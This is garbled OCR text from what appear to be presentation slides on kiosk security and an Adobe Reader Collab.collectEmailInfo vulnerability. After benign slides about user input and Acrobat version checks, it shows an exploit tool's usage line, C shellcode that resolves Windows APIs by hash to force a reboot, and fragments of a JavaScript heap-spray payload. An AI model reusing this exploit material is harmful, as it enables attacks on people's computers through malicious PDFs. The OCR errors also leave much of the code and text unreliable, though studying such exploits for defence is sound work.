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how does a computer process
data ?

FEEDBACK

never trust the bullshit which is inputted by user.
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Is the touch moni




Is the external device secure enough?




always open 7-11
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Bicrosoft Internet Explorer ﬂ

] Sys. WebForms. PageRequestManagerServerErrorException: An unbmown error occwrred while processing the regquest on the
5 server. The status code retwned from the server was: 500
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Touch Monitor xternal Device File type Application Type

Document AP/WinXP
Picture ....

O

—— AP/??

FanllyMart
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Picture AP/WinXP
|IE Browser/WinXP
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how to get the version of AP?
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how to edit JavaScript with Adobe
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how to display some information ?
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@7 F04R%R Javascript 123048

var formVersion = app.formsVersion;
var viewerVersion = app.viewerVersion;
var viewerType = app.viewerType;

var platform = app.platform;

var strersionCheck =

"Machine Platform =" + platform + "\n"

+ "Viewer Version =" + viewerVersion + "\n"

+ "Viewer Type =" + viewerType + "\n"

+ "Major Form Version =" + formVersion + "\n"
+ "Minor Form Version =" + minorFormVersion;

// For Acrobat Forms:
this.getfield("myTexiField").value = strifersionCheck;



actuality

Machine Platform = WIN
Viewer Version=7.05
Viewer Type = Reader
Mzayor Form Version =7
Minor Form Version=7
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PDF Reader Vulnerability

* http://www.adobe.com/support/security/bull
etins/apsb08-13.html

C:stestspdfexplsDebug>pdfexpl.exe

[+#]1 Adobhe Reader CollectEmaillnfo Exploits
Uzage :
pdfexpl.exe explpdf exefile pdffile



reboot shellcode ;p

_GetCurrentProcess GetCurrentProcess;

_ExitWindowsEx ExitWindowsEx;
> apis
char s_kernel32[] = {’k’, ’e’, ’»’, ’n’, ’e’, ’1’, ’3’, ’2°, B>;
char s_user32[] = {’uw’, ’s’, ’e’, ’»’, ’3’, 72’7, B>;
char s_advapi32[] = {’a’, ’d’, ’v’, ’a’, ’p’, ’i’, ’3’, ’2’, @>;
char s_SeShutdownPrivilegell = {’S8’, ’e’, ’8’, ’h’, ’uw’, ’t’, ’d’.

HMODULE kernel32 = GetModuleBaseAddress{(s_kernel32);
HMODULE user32 = GetModuleBaseAddress{(s_user32);
HMODULE advapi32 = GetModuleBaseAddressd{(s_advapi32);

api.OpenProcessToken = (_OpenProcessToken) eGetProcAddress{advapi3d2, Bx6d90803cH>;
api.LookupPrivilegelUalueA = (_LookupPrivilegeUaluefA) eGetProcAddress{advapi32, Bx%ce?5c8d);
api.AdjustTokenPrivileges = (_AdjustTokenPrivileges) eGetProcAddress{advapi32, Ox12bhhee3d);
api.GetUersion = (_GetUersion) eGetProcAddress(kernel3d2, Bxc?96608a5>;

api.GetCurrentProcess = (_GetCurrentProcess) eGetProcAddress(kernel32, Oxe?568286);
api.ExitWindowsEx = (_ExitWindowsEx) eGetProcAddress{user32, 0Bx9021d254);

if (*{api.GetUersion(d> & WIN32S>)
4
if {(api.OpenProcessToken{api.GetCurrentProcess{),
TOKEN_ADJUST_PRIVILEGES i TOKEN_QUERY, &hToken))>
£

api.LookupPrivilegeVUalueAC(NULL, s_SeShutdownPrivilege, &tkp.Privileges[@].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[B].Attributes = SE_PRIVILEGE_ENABLED;
api.AdjustTokenPrivileges(hToken, FALSE, &tkp, 8, (PTOKEN_PRIVILEGES>NULL, @>;

>

api.ExitWindowsEx(EWX_REBOOT | EWX_FORCE, @);




Collab.coolectEmailinfo()

@27 F04R%R JavaScript 123048

UFCFC"))+ unescape("%ul 7e9%ufffb")+unescape("%6uffffoouffff") + unescape("%ufteb%
unescape("%uf2eb%uf1eb™);
while ((plin.length % 8) |=0)

plin = unescape("%u6161") + plin;

¥
plin +=re(2626,ef6);

¥

if (app.viewerVersion >=6.0)

d

for (var i =0; i < app.pluglns.length; i++)
1

if (app.plugins[i] .name == "Forms")
I

var minorFormVersion = app.pluglns[i] .version

Colla
¥
var shift = app.setTimeOut("sopen()",1000);
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